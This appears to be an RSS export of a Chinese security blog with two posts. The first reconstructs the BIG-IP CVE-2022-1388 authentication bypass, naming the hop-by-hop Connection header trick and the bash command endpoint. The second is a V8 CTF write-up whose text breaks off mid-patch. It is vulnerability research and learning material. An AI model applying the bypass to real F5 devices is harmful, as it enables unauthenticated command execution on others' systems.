<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>SilverNeedleLab</title>
    <link>https://wechat2rss.xlab.app/feed/8defbaee147ce6fc812f5d1eedca61ea22ecf168.xml</link>
    <description>SilverNeedleLab&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (SilverNeedleLab)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ZsZswxhuzhYNRViaS5jcuI3jKqPyWIowicRyUMKdscpuw/0</url>
      <title>SilverNeedleLab</title>
      <link>https://wechat2rss.xlab.app/feed/8defbaee147ce6fc812f5d1eedca61ea22ecf168.xml</link>
    </image>
    <item>
      <title>BIG-IP(CVE-2022-1388)从修复方案分析出exp</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247485499&amp;idx=1&amp;sn=ff970b44888e1e52f36a4344f17dad04</link>
      <description>从官方修复方案步步推测分析攻击payload。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Jayway</span> <span>2022-05-09 19:06</span> <span style="display: inline-block;">瑞典</span>
</p>

<p>从官方修复方案步步推测分析攻击payload。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8788e924&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLA7OpRoZHHYQicXcJK6ZibOVicg3dwZCwXUHGK5XDdM18ZUEVtDAIp45KpQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="min-height: 24px;margin-bottom: 0em;"><span style="font-size: 20px;">1 漏洞详情</span></p><p style="min-height: 24px;"> 根据官方漏洞通报，BIG-IP iControl REST接口存在一个认证漏洞，绕过认证后可调用后端接口执行任意命令，影响版本较广，参考：</p><p style="min-height: 24px;"><em><a href="https://support.f5.com/csp/article/K23605346" target="_blank">https://support.f5.com/csp/article/K23605346</a></em></p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.30462962962962964" width="970" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=77004ed2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLA4uj38sfGW7KOic5pPh0eMYCxDTbGzKIcob1EMO1dYroOWj2wzibO78RA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"> 上一个漏洞CVE-2021-22986影响的接口也是 iControl REST接口，推测CVE-2022-1388是针对此漏洞修复的绕过，CVE-2021-22986的payload如下：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.3851851851851852" width="1172" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a20d10c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLA7syzdSpS4ZbVDJia6ef2bxREr1mDRIia4tgqzgnHF9gqSF9rw1s5dyeQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;margin-bottom: 0em;"><br/></p><p style="min-height: 24px;margin-bottom: 0em;"><span style="font-size: 20px;">2</span><span style="font-size: 20px;"> </span><span style="font-size: 20px;">修</span><span style="font-size: 20px;">复</span><span style="font-size: 20px;">方案分析</span><br/></p><p style="min-height: 24px;">  攻击poc/exp暂未公开，尝试下手分析一波，由于BIG-IP源码未公开，因此无法通过diff新旧代码定位漏洞触发点，唯一的线索只有官方给出的手动修复方案：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5796296296296296" width="966.4" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=14956972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAL4bV5DK5BE78iauMPtR7utyMtUL7vqC5JxxymPhQ3EcTYMSYkdQT6CQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">   修复方式里建议对配置文件进行修改，包含三个判断逻辑，即对Connection这个header头进行set设置，查一下RFC官方文档对set方法的约定：</p><p style="min-height: 24px;"><em><a href="https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader" target="_blank">https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader</a></em></p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5675925925925925" width="1299.6" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bb47d01a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAfw8EU5LY827037JCctRHn7yG9EtlHtwRCTEE7Kwgeianqf2x558YofQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">  根据文档，set方法的作用为，假使发现请求头里存在<span style="color: rgb(0, 82, 255);"><strong>foo：a</strong></span>，则set foo b会将header值变为：<span style="color: rgb(0, 82, 255);"><strong>foo：b</strong></span>，修复方案是对Connection这个头进重新赋值，到这基本可以确定漏洞绕过点就存在于Connection请求头中。</p><p style="min-height: 24px;"> 所以问题来了，和Connection头有关的漏洞有哪些？</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><strong style="font-size: 24px;"><span style="font-size: 18px;"><span style="color: rgb(59, 69, 78);">1) </span><span style="color: rgb(15, 20, 25);">HTTP request smuggling</span></span></strong></p><p style="min-height: 24px;">   HTTP请求走私漏洞，和持久化连接相关，根因为管道化连接pipeline，HTTP规范提供了两种不同的方法来指定请求的结束位置（<span style="color: rgba(0, 0, 0, 0.85);">Content-Length/Transfer-Encoding</span>）,因此判断和此漏洞无关。</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.40370370370370373" width="773.6" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c7892ae1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLABs9t7s0sYk39qibEDuiaCL1vRY3DYBnC2vGBbiczAMXTXbUlg4EBiaDn0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><strong style="font-size: 18px;"><span style="color: rgb(59, 69, 78);"><br/></span></strong></p><p style="min-height: 24px;"><strong style="font-size: 18px;"><span style="color: rgb(59, 69, 78);">2) hop-by-hop headers abuse</span></strong><br/></p><p style="min-height: 24px;">  逐跳（<span style="color: rgb(59, 69, 78);">hop-by-hop</span>）请求头滥用是个较为生僻的漏洞，关于此漏洞可参考文章：</p><p style="min-height: 24px;"><em><a href="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" target="_blank">https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers</a></em></p><p style="min-height: 24px;"> 按解析方式，http请求头有两种，逐跳请求头和端对端请求头，参考：</p><p style="min-height: 24px;"><em><a href="https://datatracker.ietf.org/doc/html/rfc2616#section-13.5.1" target="_blank">https://datatracker.ietf.org/doc/html/rfc2616#section-13.5.1</a></em></p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.4166666666666667" width="483.6" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=26a477c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAspickGqTS5oatGgHx3YticSkCfGEsDbI40cFfyccYLY0GeJyFQvNgicww%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">   顾名思义，逐跳的意思为，当在请求中遇到这些header头时，每一跳的代理（proxy）应该对这些header进行处理，而不将它们转发到下一跳。</p><p style="min-height: 24px;"> 如我们的请求中带有header头：<strong><span style="color: rgb(0, 82, 255);">Connection: close, X-Foo, X-Bar</span></strong>，原始请求在转发到代理时，逐跳处理则会将X-Foo和 X-Bar从原始请求中删除。</p><p style="min-height: 24px;"> 利用逐跳请求头的这种特性，可以实现删除任意已有header：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.6639427987742594" width="979" data-type="png" data-w="979" src="https://wechat2rss.xlab.app/img-proxy/?k=a79ce20d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAwWxt4CSq4LfDA7A4gOkVPNyt6qTP6dckITUFMSbNOgdiaD0yDWjLRRg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">   原作者提出了多种利用思路，包括：删除XFF头隐藏IP、缓存中毒DoS、SSRF、绕过WAF等。</p><p style="min-height: 24px;"><span style="font-size: 20px;"><br/></span></p><p style="min-height: 24px;"><span style="font-size: 20px;">3） 历史CVE分析</span><br/></p><p style="min-height: 24px;"> 根据关键字搜了一下，hop-by-hop headers abuse在几个漏洞中有利用，比如CVE-2021-32813：<em style="white-space: normal;"></em></p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.27037037037037037" width="1036" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5a61a307&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAZWjU6PkkExfKa5Ubo4dG3g8Ir6RYFenkt4kJmSicEJUVqyiaYnGo1xDA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"> header头被删除导致的权限提升，再看下漏洞的修复方案：</p><p style="min-height: 24px;"><em><a href="https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9" target="_blank">https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9</a></em></p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.4203703703703704" width="791.6" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=eadd6384&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAMFcRbMQy5SwCRyBjsmTI8j0K8UtZmsppJWR0yDAj9Pkg7PKY6tNrXA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">  熟悉的Header.set操作，删除Connection头中列举的hop-by-hop头。</p><p style="min-height: 24px;"> 又如下面的例子，将包含关键鉴权信息的header添加到Connection中以完成权限绕过：</p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-style: italic;"><p style="min-height: 24px;"><em><a href="https://github.com/clastix/capsule-proxy/issues/188" target="_blank">https://github.com/clastix/capsule-proxy/issues/188</a></em></p></li><li style="font-style: italic;"><p style="min-height: 24px;"><em><a href="https://github.com/rancher/rancher/security/advisories/GHSA-pvxj-25m6-7vqr" target="_blank">https://github.com/rancher/rancher/security/advisories/GHSA-pvxj-25m6-7vqr</a></em></p></li></ul><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5324074074074074" width="984.8" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a7bab9da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAWapKibV6LBtmO7AXSficWuYHf1ib6BN46EvnbIAgnrdOyxEEAdFtByMeg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"> 到此几乎可以确定，CVE-2022-1388就是使用Connection头中包含hop-by-hop头来绕过鉴权。</p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span style="font-size: 20px;">3 漏洞复现</span></h1><p style="min-height: 24px;"> 环境搭建，下载F5官网BIG-IP虚拟镜像安装：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.3692722371967655" width="791.8000183105469" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=984d753c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAA1qujeMM85vx9ic9fxnibBLhjErickv6PKRZkWmUbIKXDhQKhfaBFWk7w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">  访问web登录页，构造payload验证上述推断：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5212962962962963" width="1252.8" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2f140458&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAJ48bpEnIparrTgHA65DRMzXQ60ib4yqX15tZzcJJwIdtX8XK9x97thA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">   这里先回顾下CVE-2021-22986，思路为先通过/mgmt/shared/authn/login 接口的SSRF漏洞获取到凭证X-F5-Auth-Token头，然后访问/mgmt/tm/util/bash接口执行任意命令：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.3712962962962963" width="1228" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b4e03667&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAncENg3UdUVibxAejyYicf5fZR2C6r7dN4YuGx7ZORrkicojiaeEAO63WFg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">  而CVE-2022-1388的区别在于，不必获取这个X-F5-Auth-Token头，而是将Connection头设置为畸形的hop-by-hop头，即Connection: Keep-alive,X-F5-Auth-Token，BIG-IP的鉴权过程发生在frontend，在后续转发到Jetty时会将此header删除，从而绕过鉴权：</p><p style="min-height: 24px;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.3768518518518518" width="1220" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8f0e3a55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibeFOyyZlA4TALA93mpiaYLAlWgfTSFeiat61icnm7Zliba4D8UYKRlkoiaqxVlagBagsQSyibjfQA3ZYaw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">  至于BIG-IP后端具体的处理逻辑，还需要深入代码层分析，这里留个坑。本文也主要是提供一个从修复方案到复现oday/1day漏洞的推断和分析思路。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><br/></p>



<p><a href="2247485499">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=419becc3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247485499%26idx%3D1%26sn%3Dff970b44888e1e52f36a4344f17dad04%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 09 May 2022 19:06:00 +0800</pubDate>
    </item>
    <item>
      <title>从一道CTF浅尝V8源码</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247485480&amp;idx=1&amp;sn=491447f8926752da74ab68f2c1627268</link>
      <description>作为刚接触浏览器安全的初学者，我选择了从CTF来入手浏览器的漏洞模式和利用姿势，最近看了若干历史的CTF浏</description>
      <content:encoded><![CDATA[<p>
<span>bigric3</span> <span>2022-04-11 19:42</span> <span style="display: inline-block;"></span>
</p>

<p>作为刚接触浏览器安全的初学者，我选择了从CTF来入手浏览器的漏洞模式和利用姿势，最近看了若干历史的CTF浏</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ff5c6e3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzc0QRmYgHra5pDe7CTaIBlSt1FxQL1XvlXFvJ6GfwR9hmwHR9a3SIpag%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 14px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">目录</span></h2><hr style="font-size: inherit;color: inherit;line-height: inherit;height: 1px;margin-top: 1.5rem;margin-bottom: 1.5rem;border-right: none;border-bottom: none;border-left: none;border-top-style: dashed;border-top-color: rgb(165, 165, 165);"/><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">1.GoogleCTF 2018 - Pwn Just-In-Time</span></h4><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.调试环境环境搭建</span></h4><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">3.题目漏洞分析</span></h4><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4.从失败的POC读V8</span></h4><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">5.Exploit</span></h4><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">参考</span></h4><hr style="font-size: inherit;color: inherit;line-height: inherit;height: 1px;margin-top: 1.5rem;margin-bottom: 1.5rem;border-right: none;border-bottom: none;border-left: none;border-top-style: dashed;border-top-color: rgb(165, 165, 165);"/><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">正文</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">作为刚接触浏览器安全的初学者，我个人选择了从CTF来入手浏览器的漏洞模式和利用姿势，最近看了若干历史的浏览器类题目，印象比较深的是GoogleCTF的题目Pwn just in time，另一个是34C3 CTF的V9，分别涵盖了V8 TurboFan中的两个优化阶段<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TyperLowering</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RedundancyElimination</code>，由于某些错误导致的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckMap</code>守卫分别被优化而造成的数组越界和类型混淆问题。这里分享一篇个人调试Pwn just in time的记录，后续有时间再整理另一篇34C3 CTF的V9的调试记录，涉及另一部分优化代码和漏洞模式。这篇也是笔者第一次阅读调试V8代码，虽然查阅了许多资料，但肯定有理解不足或错误的地方还请包涵指正。</p><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">Pwn Just-In-Time</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">题目链接：<br/><a href="https://ctftime.org/task/6982" target="_blank">https://ctftime.org/task/6982</a><br/><a href="https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/" target="_blank">https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">题目给出了两个patch文件，分别关闭了浏览器的sandbox和引入一个优化阶段的漏洞。</p><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">环境搭建</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">调试环境选择了在Visual Studio下，因为我觉得第一次调试肯定会是不断查看各种对象和结构体信息的过程。如下编译windows下的debug版本V8</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>λ git reset --hard 7.0.276.3<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>λ git apply src\out\default\poc\addition-reducer.patch<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>λ cd src\<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>F:\Research\chrome2\v8\v8\src (HEAD detached at e0a58f8)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>λ gn gen --ide=vs2017 out\default --args=&#34;is_debug = true target_cpu = \&#34;x64\&#34; v8_enable_backtrace = true v8_untrusted_code_mitigations = false is_component_build = true&#34;<br/></code></pre><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">补丁分析</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">看一下题目给的补丁</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>--- a/src/compiler/pipeline.cc<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>+++ b/src/compiler/pipeline.cc<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>@@ <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1301</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> +<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1302</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">8</span> @@ <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">struct</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">TypedLoweringPhase</span> {</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>                                data-&gt;jsgraph()-&gt;Dead());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>     <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">DeadCodeElimination <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">dead_code_elimination</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(&amp;graph_reducer, data-&gt;graph()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>                                               data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">common</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>, temp_zone)</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>+    <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">DuplicateAdditionReducer <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">duplicate_addition_reducer</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit 